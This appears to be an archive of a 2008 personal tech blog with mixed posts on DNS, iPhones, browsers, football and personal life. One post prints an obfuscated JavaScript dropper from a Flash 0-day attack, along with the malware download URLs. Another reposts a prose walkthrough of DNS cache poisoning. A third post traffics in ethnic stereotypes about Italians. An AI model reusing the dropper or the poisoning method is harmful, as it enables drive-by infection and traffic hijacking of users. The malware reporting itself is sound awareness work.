Search and you will WHAT???

As much as I loved stumbling on google when it was starting up, as eager I have been finding even better engines.

It is amazing how difficult it is to build a better google. The latest attempt is called cuil and it too, fails.

I challance you to find anything. So far only the simplest of searches yields useable results. Like searching for linkedin actually gives www.linkedin.com as a first hit: well done. Searching for 'mokum von Amsterdam' give two pages of something I once posted on the Wired blog and that has been replicated 1.000 times on other sites: no link to this blog or anything usefull.

Try searching for 'ING bank' in google and in cuil. Tell me why on earth ING Poland & Timisoara show up in Cuil on page one? How on earth did these guys fill up their repository?

Altavista does better FFS! [as a matter of fact, altavista showed me a nice bar in Berlin I will visit next time around].

Lessons learned: stick to google, use altavista more often, wait till cuil grows up, if ever.

DE ONTVOERING

hun hebben zij
klaagt de klant tegen de kapper

hun hebben zij
is niet goed Nederlands, meneer
wist de knipper

zij hebben haar, meneer
zij hebben haar

-- Frans Engels

Why OpenDNS [if you can not run DJBDNS]

To test, I let DHCP update my resolve file with the DNS servers of my [horribly slow!] KPN Internet mobile connection:

bash-3.2# cat /etc/resolv.conf
nameserver 208.67.222.222
nameserver 208.67.220.220
nameserver 62.133.126.28
nameserver 62.133.126.29

The top two address are my 'normal' DNS entries, from the fine folks of OpenDNS [who where secure since day one].

Now let's check the DNS servers from both OpenDNS & KPN mobile with a simple dig:

bash-3.2# dig @208.67.220.220 +short porttest.dns-oarc.net TXT
z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net.
"208.69.34.6 is GOOD: 28 queries in 1061.8 seconds from 28 ports with std dev 17429.24"
bash-3.2# dig @208.67.222.222 +short porttest.dns-oarc.net TXT
z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net.
"208.69.34.4 is GOOD: 26 queries in 4.3 seconds from 26 ports with std dev 20231.33"

bash-3.2# dig @62.133.126.28 +short porttest.dns-oarc.net TXT
z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net.
"62.133.126.28 is POOR: 26 queries in 4.2 seconds from 1 ports with std dev 0.00"
bash-3.2# dig @62.133.126.29 +short porttest.dns-oarc.net TXT
z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net.
"62.133.126.29 is POOR: 26 queries in 4.2 seconds from 1 ports with std dev 0.00"

Of course, nothing beats djbdbs, but for day today use, OpenDNS p0wnserz your provider's DNS hands down.

To keep your resolve.conf file save and clean on OSX and prevent DHCP from updating it, set the immutable bit:
chflags uchg /var/run/resolv.conf
To remove the flag use:
chflags nouchg /var/run/resolv.conf

CloudTablet or CloudPannel?

Interesting idea over at TechCrunch: a simple, US$200 WebTablet, running FireFox & Skype.

For me this is the ultimate CloudPannel [zero hits ATM], or CloudTablet [less then 350 hits ATM], whatever you prefer.

I would like 5 or 10 laying around the house for easy web 2.0 access!

DNS issues released

The cat is out of the bag. Yes, Halvar Flake figured out the flaw Dan Kaminsky will announce at Black Hat.

1.

Pretend for the moment that you know only the basic function of DNS — that it translates WWW.VICTIM.COM into 1.2.3.4. The code that does this is called a resolver. Each time the resolver contacts the DNS to translate names to addresses, it creates a packet called a query. The exchange of packets is called a transaction. Since the number of packets flying about on the internet requires scientific notation to express, you can imagine there has to be some way of not mixing them up.

Bob goes to to a deli, to get a sandwich. Bob walks up to the counter, takes a pointy ticket from a round red dispenser. The ticket has a number on it. This will be Bob’s unique identifier for his sandwich acquisition transaction. Note that the number will probably be used twice — once when he is called to the counter to place his order and again when he’s called back to get his sandwich. If you’re wondering, Bob likes ham on rye with no onions.

If you’ve got this, you have the concept of transaction IDs, which are numbers assigned to keep different transactions in order. Conveniently, the first sixteen bits of a DNS packet is just such a unique identifier. It’s called a query id (QID). And with the efficiency of the deli, the QID is used for multiple transactions.

2.

Until very recently, there were two basic classes of DNS vulnerabilities. One of them involves mucking about with the QID in DNS packets and the other requires you to know the Deep Magic.

First, QIDs.

Bob’s a resolver and Alice is a content DNS server. Bob asks Alice for the address of WWW.VICTIM.COM. The answer is 1.2.3.4. Mallory would like the answer to be 6.6.6.0.

It is a (now not) secret shame of mine that for a great deal of my career, creating and sending packets was, to me, Deep Magic. Then it became part of my job, and I learned that it is surprisingly trivial. So put aside the idea that forging IP packets is the hard part of poisoning DNS. If I’m Mallory and I’m attacking Bob, how can he distinguish my packets from Alice’s? Because I can’t see the QID in his request, and the QID in my response won’t match. The QID is the only thing protecting the DNS from Mallory (me).

QID attacks began in the olden days, when BIND simply incremented the QID with every query response. If you can remember 1995, here’s a workable DNS attack. Think fast: 9372 + 1. Did you get 9372, or even miss and get 9373? You win, Alice loses. Mallory sends a constant stream of DNS responses for WWW.VICTIM.COM. All are quietly discarded —- until Mallory gets Bob to query for WWW.VICTIM.COM. If Mallory’s response gets to your computer before the legitimate response arrives from your ISP’s name server, you will be redirected where Mallory tells you you’re going.

Obvious fix: you want the QID be randomly generated. Now Alice and Mallory are in a race. Alice sees Bob’s request and knows the QID. Mallory has to guess it. The first one to land a packet with the correct QID wins. Randomized QIDs give Alice a big advantage in this race.

But there’s a bunch more problems here:

• If you convince Bob to ask Alice the same question 1000 times all at once, and Bob uses a different QID for each packet, you made the race 1000 times easier for Mallory to win.

• If Bob uses a crappy random number generator, Mallory can get Bob to ask for names she controls, like WWW.EVIL.COM, and watch how the QIDs bounce around; eventually, she’ll break the RNG and be able to predict its outputs.

• 16 bits just isn’t big enough to provide real security at the traffic rates we deal with in 2008.

Your computer’s resolver is probably a stub. Which means it won’t really save the response. You don’t want it to. The stub asks a real DNS server, probably run by your ISP. That server doesn’t know everything. It can’t, and shouldn’t, because the whole idea of DNS is to compensate for the organic and shifting nature of internet naming and addressing. Frequently, that server has to go ask another, and so on. The cool kids call this “recursion”.

Responses carry another value, too, called a time to live (TTL). This number tells your name server how long to cache the answer. Why? Because they deal with zillions of queries. Whoever wins the race between Alice and Mallory, their answer gets cached. All subsequent responses will be dropped. All future requests for that same data, within the TTL, come from that answer. This is good for whoever wins the race. If Alice wins, it means Mallory can’t poison the cache for that name. If Mallory wins, the next 10,000 or so people that ask that cache where WWW.VICTIM.COM is go to 6.6.6.0.

3.

Then there’s that other set of DNS vulnerabilities. These require you to pay attention in class. They haven’t really been talked about since 1997. And they’re hard to find, because you have to understand how DNS works. In other words, you have to be completely crazy. Lazlo Hollyfeld crazy. I’m speaking of course of RRset poisoning.

DNS has a complicated architecture. Not only that, but not all name servers run the same code. So not all of them implement DNS in exactly the same way. And not only that, but not all name servers are configured properly.

I just described a QID attack that poisons the name server’s cache. This attack requires speed, agility and luck, because if the “real” answer happens to arrive before your spoofed one, you’re locked out. Fortunately for those of you that have a time machine, some versions of DNS provide you with another way to poison the name server’s cache anyway. To explain it, I will have to explain more about the format of a DNS packet.

DNS packets are variable in length and consist of a header, some flags and resource records (RRs). RRs are where the goods ride around. There are up to three sets of RRs in a DNS packet, along with the original query. These are:

• Answer RR’s, which contain the answer to whatever question you asked (such as the A record that says WWW.VICTIM.COM is 1.2.3.4)

• Authority RR’s, which tell resolvers which name servers to refer to to get the complete answer for a question

• Additional RR’s, sometimes called “glue”, which contain any additional information needed to make the response effective.

A word about the Additional RR’s. Think about an NS record, like the one that COM’s name server uses to tell us that, to find out where WWW.VICTIM.COM is, you have to ask NS1.VICTIM.COM. That’s good to know, but it’s not going to help you unless you know where to find NS1.VICTIM.COM. Names are not addresses. This is a chicken and egg problem. The answer is, you provide both the NS record pointing VICTIM.COM to NS1.VICTIM.COM, and the A record pointing NS1.VICTIM.COM to 1.2.3.1.

Now, let’s party like it’s 1995.

Download the source code for a DNS implementation and hack it up such that every time it sends out a response, it also sends out a little bit of evil — an extra Additional RR with bad information. Then let’s set up an evil server with it, and register it as EVIL.COM. Now get a bunch of web pages up with IMG tags pointing to names hosted at that server.

Bob innocently loads up a page with the malicious tags which coerces his browser resolve that name. Bob asks Alice to resolve that name. Here comes recursion: eventually the query arrives at our evil server. Which sends back a response with an unexpected (evil) Additional RR.

If Alice’s cache honors the unexpected record, it’s 1995 —- buy CSCO! —- and you just poisoned their cache. Worse, it will replace the “real” data already in the cache with the fake data. You asked where WWW.EVIL.COM was (or rather, the image tags did). But Alice also “found out” where WWW.VICTIM.COM was: 6.6.6.0. Every resolver that points to that name server will now gladly forward you to the website of the beast.

4.

It’s not 1995. It’s 2008. There are fixes for the attacks I have described.

Fix 1:

The QID race is fixed with random IDs, and by using a strong random number generator and being careful with the state you keep for queries. 16 bit query IDs are still too short, which fills us with dread. There are hacks to get around this. For instance, DJBDNS randomizes the source port on requests as well, and thus won’t honor responses unless they come from someone who guesses the ~16 bit source port. This brings us close to 32 bits, which is much harder to guess.

Fix 2:

The RR set poisoning attack is fixed by bailiwick checking, which is a quirky way of saying that resolvers simply remember that if they’re asking where WWW.VICTIM.COM is, they’re not interested in caching a new address for WWW.GOOGLE.COM in the same transaction.

Remember how these fixes work. They’re very important.

And so we arrive at the present day.

5.

Let’s try again to convince Bob that WWW.VICTIM.COM is 6.6.6.0.

This time though, instead of getting Bob to look up WWW.VICTIM.COM and then beating Alice in the race, or getting Bob to look up WWW.EVIL.COM and slipping strychnine into his ham sandwich, we’re going to be clever (sneaky).

Get Bob to look up AAAAA.VICTIM.COM. Race Alice. Alice’s answer is NXDOMAIN, because there’s no such name as AAAAA.VICTIM.COM. Mallory has an answer. We’ll come back to it. Alice has an advantage in the race, and so she likely beats Mallory. NXDOMAIN for AAAAA.VICTIM.COM.

Alice’s advantage is not insurmountable. Mallory repeats with AAAAB.VICTIM.COM. Then AAAAC.VICTIM.COM. And so on. Sometime, perhaps around CXOPQ.VICTIM.COM, Mallory wins! Bob believes CXOPQ.VICTIM.COM is 6.6.6.0!

Poisoning CXOPQ.VICTIM.COM is not super valuable to Mallory. But Mallory has another trick up her sleeve. Because her response didn’t just say CXOPQ.VICTIM.COM was 6.6.6.0. It also contained Additional RRs pointing WWW.VICTIM.COM to 6.6.6.0. Those records are in-bailiwick: Bob is in fact interested in VICTIM.COM for this query. Mallory has combined attack #1 with attack #2, defeating fix #1 and fix #2. Mallory can conduct this attack in less than 10 seconds on a fast Internet link.

----

On a side note: can stuff no longer published but found in google's cache be copyrighted?

Geotagging iPhone gone bad :(

Great feature: geotagging the images taken with the iPhone [already the most Popular Cameraphone on Flickr].

Just imagion that you take photos during the holiday and all you need to do is dump them in, say, google earth and all pics are shown in the correct location. Right, that was the plan. Unfortunatly Apple made a couple of errors with the implementation, again.

The UIImagePicker application that is used when you email a photo from the iPhone, strips out the EXIF location data, DUH! iPhoto mutilates [strips the "Ref" tag] the EXIF geodata when resizing photos, DUH.

So what you get is third party apps that sort-of-help, like AirMe. It will upload the photo to Flickr and geotag it, but then you have to take the pic with AirMe and have NO geodata stored in the EXIF data of the photo at all, and that is bad.

Who knows, maybe if Apple would put a little less invain effort in the locking down of the iPhone they'd be able to get MMS working? Some more features in the camera? Geotagging stored correctly? How difficult is that? How come 17 year old's CAN do that but a multi bilion company can't?
Photo source

Italians...

Good thief's maybe, but crooks. Living with mama till >30. Not being able to clean their own rubbish. Lovely, but lousy cars makers. And so on.

To wrap it up, even in the IT world they show up. And the pain got a name: Zibri. A thief, but then in code.

Read this to get an idea about this crook:

The following opinions are mine, and not those of the DevTeam as a whole, although many members agree with me:

Free thoughts...

There's something that's been on my chest for a while, and it's been bothering others on the team as well. The name of this particular thorn in our sides begins with the letter Z and ends with "ibri". Yes, I'm sure all of you are rolling your eyes at the "drama" we hacker "kids" are stirring up, but I'm sure if you had your work taken without permission, you would feel the same way. It's particularly galling that he is still spreading FUD on his blog in an attempt to save face. I'm going to try to address some of them in this post.

Zibri implies that our jailbreak is not "real", saying instead that our release is a "software upgrade, total internat [sic] firmware modification and custom firmware".

For him, a "real hack" works in a few minutes because it only needs to modify a few bytes here and there.

When Pwnage 1.0 was released, it was indeed the ultimate hack for the iPhone/iPod Touch. Never before had the devices been under the user's control from the very bottom up. Prior, less sophisticated jailbreaks were still subject to the whims of the kernel, which couldn't be modified because the bootloader checked its signature and refused to boot if it was incorrect.

Back in those days, the definition of "hack" above was still a feasible one, as the chain of trust ended at the kernel. Once you gained write access to the root filesystem, you could run arbitrary programs and make patches at will to many system components. Indeed, many such patches were needed, to make activation allow unapproved SIM cards, and to make Springboard display unauthorized apps.

Fast forward back to the present, and you'll see the situation has changed. Solutions that using a ramdisk simply made a change or two to the filesystem now must contend with the mighty kernel's signature checking of all installed apps and libraries. Mounting the root filesystem and modifying /etc/fstab to make it writable is quite alright, but the moment you make patches for activation or anything else, the kernel will refuse to run the modified programs, unless you can somehow steal Apple's private signing key. Furthermore, such a jailbreak would be essentially useless because the system would refuse to run any of your custom software (such as Installer.app or Cydia), again because of the lack of signatures on it.

Given the above situation, it becomes clear that if you want to use 2.0 for anything but screenshots, you either need to get ahold of Apple's signing key (start preparing your army now) or you need to patch the 2.0 kernel. Hard as we tried, we couldn't find much of an army, so we took the latter approach.

We adapted our Pwnage technique to the 2.0 firmware, using a new unreleased exploit that we'd been keeping to ourselves, in the hope that Apple wouldn't patch it. This allows us to cut the signature checks out of the device bootloaders, allowing us to remove signature checking from the kernel, and enabling you to run all the custom software and patches you please.

Please note other than my facetious army suggestions, patching the bootloaders is the _only_ way to get a functional jailbreak for 2.0. Under the aforementioned definition of "real hack", there is no such thing as a "real hack" for 2.0. I hope you agree with me by now that Pwnage, the exploit it uses, and its subsequent obliteration of the device's chain of trust, is a "real hack".

More FUD is spread by this undying rumor of "Palladium" (or TPM) being used fully on Apple's devices, making it impossible for you "to play online with legit buyers." This is nothing but uninformed nonsense, and while there is the potential for some definition of trusted computing on iPhone and iPod Touch, Apple is not using it, and they have no way to remotely distinguish your pwned device from a legitimately activated one. This should have been obvious from our examples of running App Store applications next to our custom ones, but "obvious" is a very relative term.

On an unrelated note, I and the others take issue with Zibri's definition of open source. No, Linux distributions are not stealing, but our work was not released as open source, with any kind of permissive license, so the open source he brings into the discussion is entirely irrelevant. He took our work, our private exploits (such as the unreleased one we were able to use for Pwning 2.0), and without our permission (trying to defame us with fake comments, no less) used them in his work, that he made significant amounts of money on. He did this not by selling "his work", but by portraying himself as the reasonable "dev" who fought against the tyranny of the dev team and Apple, and requesting donations to his "cause" (recall his older iphone-elite.googlecode.com and his self-righteous bashing of the dev team for accepting donations; funny how principles change). Furthermore, with his millions of hits and occasionally obscene ads, he made his site into a complete money machine. So although he did not sell our work, it is more than fair to say that he made plenty of money from it.

And as to his most recent update, I'm not really sure what to say. I'd call it the swan song, but that would imply he was a swan, which is certainly not my intention. Maybe the chicken song would be more appropriate. ZiPhone was "developed" 9 months after the iPhone release, so he's justifying his lack of releases now, okay. Once again he pushes the "real hack" idea, which we hope we've already pounded sufficiently into the ground above. We're not sure how the fact that we were so popular it took down multiple unmetered gigabit servers is a point in his favor. We've had close to a third of his total visits since last week.

I want to dedicate a special paragraph to something that's been bugging us for a while, too. The myth that ZiPhone never harmed a phone. Certainly, we all know that iPhones are almost impossible to brick, but flashing unmatched fls/eep pairs to the baseband is plain irresponsible on Zibri's part. Does he not care about messing up phones, or does he simply not know better? And the laughable WiFi fix he released for issues that he called "user error" (actually a consequence of the above design choice) where he unconditionally set every ZiPhone WiFi MAC address to 0:Z:i:b:r:i? How did he expect that to work? It doesn't take a networking genius to figure out that two such phones on the same network would cause havoc, and indeed it did.

The following few "facts" on his blog are just more FUD. Our tools can't kill iPhones, because the only way to kill an iPhone through software (and even then just the radio) is to flash an incomplete image as the S-Gold bootloader. Apple cannot remotely kill pwned iPhones because as I mentioned earlier, it has no way to detect which iPhones are pwned.

I'm not sure why he goes on to say that you should be satisfied with Apple's AppStore. It certainly contains many good programs, but to quote Zibri just a couple of weeks earlier:

As of today you will have 2 choices:
1) Believe in the community and don't upgrade to 2.0
2) Say goodbye to Installer and freedom and upgrade.

So are you suggesting we say goodbye to freedom now? I guess we can't expect much from someone who made a reputation for himself by denouncing the devteam for accepting donations (not even soliciting them) and who now has a website full of ads, exhortations to donate, and very little content? Now we have given you a nice opportunity to upgrade to 2.0, use the AppStore _and_ use community apps. If he really wanted the good of the community, why is he not recommending it?

I would normally just ignore his entries, but as many still look at Zibri as an authority in the scene, I felt the need to dispel some of the FUD he was spreading, and finally denounce his pathetic attempts to stay relevant. Posting the latest root filesystem key after we release PwnageTool? PwnageTool exposes all the keys right within its plist files. And if he knew about the DFU exploit all along, as he implies, why didn't he take advantage of it? We would like to see him write up an article on how it all works, just to prove that Zibri knows all.

Thank you for your patience reading this. We will continue working hard on providing quality hacks and software, but please, to anyone who's tempted, stop spreading bullshit about us and our work. source

How big is your I-EGO?

My I-EGO is pretty big, people tell me. But how big is it really? Time to find out!

Enter your name & domain and let the www.egosurf.org do the rest.

My 'mokum von Amsterdam' EGO is a mere 4700 points but I am sure your's a lot bigger :P

Shabat shalom!

I just text to say...

I would like a pile of these, right next to the complaint & request notes.


A big pile so I could formalize & incorporate the process in my daily live.


Now who would deserve one signed by you?

We are ING!

Shht!

BattleField 2: new patch 1.5 and 3 new maps

It is still secret, the current internal BETA for the long awaited BF2 1.5 patch is currently running in Spain and guess what:

3 new maps will be released with it [act of G*d clause applies].

The names of the maps I cannot reveal but there will be at least one _you_ will like :P

Queing for the iPhone 2.0

In Rotterdam there is a [modest] queue for the T-Mobile shop that will start selling the iPhone 2.0 from 00:00 sharp.

500 phones are available to those that have no friends, no home, no sex and no lust for beer.

Mine will fall out of the air real soon now, but I can not say I am half as tense as I was with the iPhone orginal a year ago.

SSH scanning on the rise. DENYHOSTS

DenyHosts blocked 44 new ssh user scanning hosts in the last 13 hours. That is a lot.

Normally days with >5 new hosts caught by my lone sensor are remarkable, it happens not more often then 4 times a month. This month has been truly busy however. July 1st 10 new addresses, July 3rd 14, where in the whole month of June there where 2 days with >5 [6 & 8 on the 28th & 30th. A busy month globally] with a grant total of 28 for the whole month.

Nothing advanced either, like the botnet-like scanning in May.


This is for those hosts who made it to the largest blacklist of all times.

My users are smarter then yours!

1. Firefox 221 56.81%
2. Internet Explorer 123 31.62%
3. Safari 34 8.74%
4. Opera 8 2.06%
5. Mozilla 2 0.51%
6. Netscape 1 0.26%

Google's Street View spycar clocked in Amsterdam, Holland

I think this is a first: a google car in Amsterdam. Photo taken on the 1st of July 2008 in Amsterdam, on the Gaasperdammerweg, Amsterdam after I picked up the car coming out of the Huigenbos [I know, all these streets do not sound like Amsterdam... but it is, techincally speaking].


Grotere kaart weergeven

In a year or so you can see me doing silly :P

I should have...

...written about our first meeting, where you said "Vroeger was ik een lekker stuk" and I took a photo of your legs that looked good, not to say great.

I should have written about the conversations we had.

I should have written about the nail biting, before and during the football game.

I should have because the moments mattered to me.

I should have because now they took you, after your screaming alarmed the neighbor, after your neighbor alarmed the police, after the police kicked in the door, after the police warned the ambulance, after the ambulance took you away, after the police took your cellphone, after the doctors called that after the first operation they saw little hope, and after I tried to contact your daughter, and after the second call from the doctors who said there was little hope and after that I found your daughter was informed... but all was too late.

All was too late, but disaster, 'cause it was too early. It should not have been.

Kiek, I should have...

Danke viel...

Photo taken on Monday the 23rd of June. Someone 'forgot' something :P

BackTrack3 to be released, RSN

And they do it again: the final release of BackTrack 3 will hit the net any moment now.

Ever since I met Max at some stint at a client, I have been impressed with his bright mind and unbelievable control over the matters he works on. He did an assesment of the wlan setup I had designed and he pinpointed the weaknesses [some publicly known, others, well 'new'] and the strong points which maked up a nice report for management.

Anyway, BT3 is about to hit the tubes soon and now you know first :P

Reasons why I do...

Add high-speed wireless data to the hottest kid on the block and me being regularly in Amsterdam with a keyboard within reach...

So this couple look a good reason to spend a couple of euroos :D

Reasons I do not.

Firefox 3 is about to het the Internet tubes in a couple of hours. Great, or is it?

The fact that Google Browser Sync project is not taking calls nor displaying any word about support of their essential FF extention for FF 3 has made me decide to NOT upgrade.

As much as I liked test driving FF3 [all beta's and RC's] I just do not want to browse without GBS, unless I am given no option.

So here is my appologies to the FireFox 3 team: sorry! But I will retreat my pledge to download FF3 untill GBS is available and will continue to use FF2.

Here's the google teams reply:

Thanks for trying out Google Browser Sync and for all of your feedback. It was a tough call, but we decided to phase out support for Browser Sync. Since the team has moved on to other projects that are keeping them busy, we don't have time to update the extension to work with Firefox 3 or to continue to maintain it.

For those of you who want to continue to use Firefox 2, we'll maintain support for old versions of Google Browser Sync through 2008. After that, we can recommend a few other products that scratch a similar itch. We hope that one of them works for you:

Mozilla Weave [labs.mozilla.com] from Mozilla Labs—Offers bookmark and history synchronization across computers.

Google Toolbar for Firefox [toolbar.google.com]—Store your bookmarks online and access them from any computer online.

Foxmarks Bookmark Synchronizer [addons.mozilla.org]—Synchronizes your bookmarks across all computers where it is installed.

Regards,
The Google Team

But personally I do not want to change too much at a time so I will sit back, enjoy GBS for the comming couple of months, wait till FF3's bugs will be ironed out and then, maybe, switch away from GBS to one of the above mentioned 'replacements'.

This is sweet :D

"AuthSight uses your Mac's iSight camera to take snapshots of the nut behind the keyboard whenever an invalid password is entered, either at login or in a screensaver. AuthSight can also (optionally) email photos to you."

Get it here. Thank Zac Bedell.

Flash: the format everybody loves to hate [at least should]

Prime time for our beloved FLASH player again: a 0-day has been actively exploited the last couple of days, as reported by Security Focus, SANS, Adobe knows not much more ATM. Served as a file with the jpg extention, that is actually a script:

http://www. play0nlnie. com/pcd/topics/ff11us/20080311cPxl31/07.jpg

window.onerror=function(){return true;}
function init(){window.status="";}window.onload = init;
eval(function(p,a,c,k,e,d){e=function(c){return(ce(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace
(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('n(2.q.k("i=")==-1){E 5=F D();5.C(5.G()+12*j*j*B);2.q="i=K;J=/;5="+5.I();n(L.y.t().k("s")>0){2.3(\'A="z:u-x-v-w-H" Y="6://15.14.9/13/10/11/17/18.M#1a=4,0,19,0" l="0" m="0"
16="Z">\');2.3(\'<8 7="R" a="Q"/>\');2.3(\'<8 7="P" a="6://g.h.9/e/f/d/b/p.
c"/>\');2.3(\'<8 7="N" a="O"/>\');2.3(\'<8 7="S" a="#T"/>\');2.3(\'\');2.3(\'\')}W{2.3("")}}',62,73,'||document|write||expires|http|name|param|com|value|
20080311cPxl31|swf|ff11us|pcd|topics|www|play0nlnie|playon|60|indexOf|
width|height|if|src|07|cookie|object|msie|toLowerCase|d27cdb6e|11cf|96b8|ae6d|
userAgent|clsid|classid|1000|setTime|Date|var|new|getTime|444553540000|
toGMTString|path|Yes|navigator|cab|quality|high|movie|sameDomain|allowScriptAccess
|bgcolor|ffffff|08|EMBED|else|embed|codebase|middle|shockwave|cabs||pub|macromedia
|download|align|flash|swflash||version'.split('|'),0,{}))

That in the end, downloads:
http://www. play0nlnie. com/ax.exe
&
http://www. play0nlnie. com/setip.exe

Virustotal was 7/31 for ax.exe, and 7/31 for setip.exe earlier this evening.

Google gives a cool 359 results for the quoted string "Adobe Flash Player SWF File Unspecified Remote Code Execution Vulnerability" so word's out.

Arun Sarin is leaving Vodafone

What a pitty!

We lost the most out of touch CEO ever who's ideas, visions and quotes where always mindbending.

gmail filter multiple domains

For sometime I have been wondering about how to implement my own idea of a zero inbox, and at the same time keep my filters in gmail clean and mean.

It took me a couple of searches to find the answer. It's simple:
You can separate the domains|names with a vertical bar '|' but not with a comma or the 'OR' operator. Well, actually you can use the good old 'OR' clause but then you need to use the '(' and ')' like so:

Matches: from:((@komplett.nl OR @4launch.nl OR @livinstyle.nl OR @marketing.rackspace.co.uk OR @youthink.com OR @sourceforge.net OR @klm-email.com OR @service.swiss.com OR @dienstmakkers.nl OR @amsterdam.nl OR @honestreporting.com OR @ziki.com OR @opendns.com OR @marketing.rackspace.co.uk OR @enews.sierra-news.com OR @rapidshare.com OR @weekly.gamespy.com OR @nts.nl OR @nintendo-europe.com OR @dienstmakkers.nl OR @ajax.nl @komplett.nl OR @bol.com OR @service.swiss.com OR @sans.org OR @videoland.nl OR @sovereignlife.com OR @amsterdam.nl OR @nts.nl OR @20min.ch OR @ringtonio.nl OR @2dehands.nl OR @4launch.nl OR @klm-email.com OR @davinciteam.com OR @mail.expedia.nl OR @looki.de OR @global-conflict.org OR @i3d.net OR @ebay.de OR @db2.myorc.com OR @mashmaker.intel.com OR @xing.com OR @firebrandtraining.co.uk OR @ipswitchmail.com OR @marktplaats.nl))
Do this: Skip Inbox, Apply label "XXX"

Nice. Inbox down to (243) unreads that I acually might read, one day... unless they're caught by my 'sorry, no time' filter that somehow flagged the message by triage as "dead wood".

Photo by Code Poet

Times are changing...

I am from the time that dental correction was only cool when done invisible. You would have your holes plugged, most of the time with 'amagaan' but that was for the poor [me]. The cooler people used plastic in teh colour of their teeth.

Nowadays my kids _die_ for a super visible dental correction. The more 'bling' the better.

A good thing, in my book.

SSH brute force botnet

Nice, I must have been a sleep the last couple of days. Since May 11 02:41:53 my logfiles [who never sleep] started logging a more 'advanced' brute force ssh attempts. See this:

May 11 02:41:53 meij sshd[23046]: Failed keyboard-interactive/pam for invalid user tomcat from 168.243.236.228 port 56131 ssh2
May 11 04:36:27 meij sshd[23490]: Failed keyboard-interactive/pam for invalid user tsc from 190.12.74.11 port 57240 ssh2
May 11 07:07:29 meij sshd[24482]: Failed keyboard-interactive/pam for invalid user chang from 66.159.198.155 port 51730 ssh2
May 11 19:41:47 meij sshd[27408]: Failed keyboard-interactive/pam for invalid user backup from 196.211.44.154 port 12491 ssh2
May 11 19:42:58 meij sshd[27411]: Failed keyboard-interactive/pam for invalid user backup from 193.224.140.35 port 57552 ssh2
May 11 21:09:33 meij sshd[27738]: Failed keyboard-interactive/pam for invalid user postgres from 66.159.198.155 port 59462 ssh2
May 12 01:37:24 meij sshd[29026]: Failed keyboard-interactive/pam for invalid user thomas from 193.224.140.35 port 57325 ssh2
May 12 02:40:33 meij sshd[29258]: Failed keyboard-interactive/pam for invalid user franky from 66.193.161.130 port 49501 ssh2
May 12 03:20:11 meij sshd[29421]: Failed keyboard-interactive/pam for invalid user majordomo from 66.159.198.155 port 49959 ssh2
May 12 03:40:57 meij sshd[29482]: Failed keyboard-interactive/pam for invalid user shop from 212.24.179.54 port 42187 ssh2
May 12 03:58:24 meij sshd[29541]: Failed keyboard-interactive/pam for invalid user thisuserdoesnotexists from 88.191.50.77 port 58021 ssh2
[... snip ...]
May 14 01:35:26 meij sshd[14831]: Failed keyboard-interactive/pam for invalid user orant from 66.162.98.185 port 45112 ssh2
May 14 01:41:32 meij sshd[14846]: Failed keyboard-interactive/pam for invalid user appen from 66.122.59.6 port 47129 ssh2
May 14 01:56:11 meij sshd[14904]: Failed keyboard-interactive/pam for invalid user bohmbach from 74.238.169.202 port 39950 ssh2
May 14 02:00:10 meij sshd[14947]: Failed keyboard-interactive/pam for invalid user braun from 72.254.69.226 port 2861 ssh2
May 14 02:03:16 meij sshd[14973]: Failed keyboard-interactive/pam for invalid user buesing from 211.232.103.213 port 29070 ssh2
May 14 02:04:40 meij sshd[14976]: Failed keyboard-interactive/pam for invalid user conrad from 213.134.152.66 port 3523 ssh2
May 14 02:08:27 meij sshd[14989]: Failed keyboard-interactive/pam for invalid user dregenus from 194.94.205.135 port 49358 ssh2
May 14 02:09:29 meij sshd[14992]: Failed keyboard-interactive/pam for invalid user duelsen from 85.207.127.98 port 44080 ssh2
May 14 02:14:26 meij sshd[15006]: Failed keyboard-interactive/pam for invalid user fellechn from 213.134.152.66 port 1294 ssh2
May 14 02:15:54 meij sshd[15033]: Failed keyboard-interactive/pam for invalid user fellechn from 74.238.205.245 port 47536 ssh2
May 14 02:17:27 meij sshd[15036]: Failed keyboard-interactive/pam for invalid user friebe from 69.15.172.22 port 2162 ssh2
May 14 02:20:52 meij sshd[15048]: Failed keyboard-interactive/pam for invalid user friese from 62.2.211.46 port 28917 ssh2
May 14 02:22:13 meij sshd[15051]: Failed keyboard-interactive/pam for invalid user fuhrhop from 217.7.233.155 port 58495 ssh2
May 14 02:24:51 meij sshd[15063]: Failed keyboard-interactive/pam for invalid user geffers from 64.73.250.213 port 45064 ssh2
May 14 02:26:40 meij sshd[15066]: Failed keyboard-interactive/pam for invalid user geffers from 221.8.255.134 port 42398 ssh2
[end.]

1209 attempts for 654 "invalid users" in 49 busy hours from [
grep "invalid user" /var/log/messages | awk -F" " '{ print $13 }' | sort | uniq -u | wc] 53 unique addresses. Not bad. Slipped below my denyhosts radar just nicely.

Kampioen EK2008: Rusland

Today is speculation day :D

Zwitserland - Tsjechie 2 - 1
Roemenie - Frankrijk 0 - 2
Portugal - Turkije 1 - 1
Nederland - Italie 3 - 2
Tsjechie - Portugal 2 - 1
Italie - Roemenie 2 - 1
Zwitserland - Turkije 3 - 2
Nederland - Frankrijk 0 - 2
Zwitserland - Portugal 1 - 2
Nederland - Roemenie 2 - 1
Turkije - Tsjechie 0 - 0
Frankrijk - Italie 1 - 2

Oostenrijk - Kroatie 1 - 1
Spanje - Rusland 1 - 2
Duitsland - Polen 1 - 0
Griekenland - Zweden 1 - 3
Kroatie - Duitsland 1 - 2
Zweden - Spanje 0 - 2
Oostenrijk - Polen 3 - 1
Griekenland - Rusland 1 - 2
Polen - Kroatie 1 - 1
Griekenland - Spanje 0 - 2
Oostenrijk - Duitsland 3 - 4
Rusland - Zweden 2 - 1


Zwitserland - Oostenrijk 3 - 1
Duitsland - Tsjechie 2 - 0

Frankrijk - Spanje 3 - 1
Rusland - Italie 2 - 1


Zwitserland - Duitsland 3 - 1
Spanje - Rusland 0 - 1

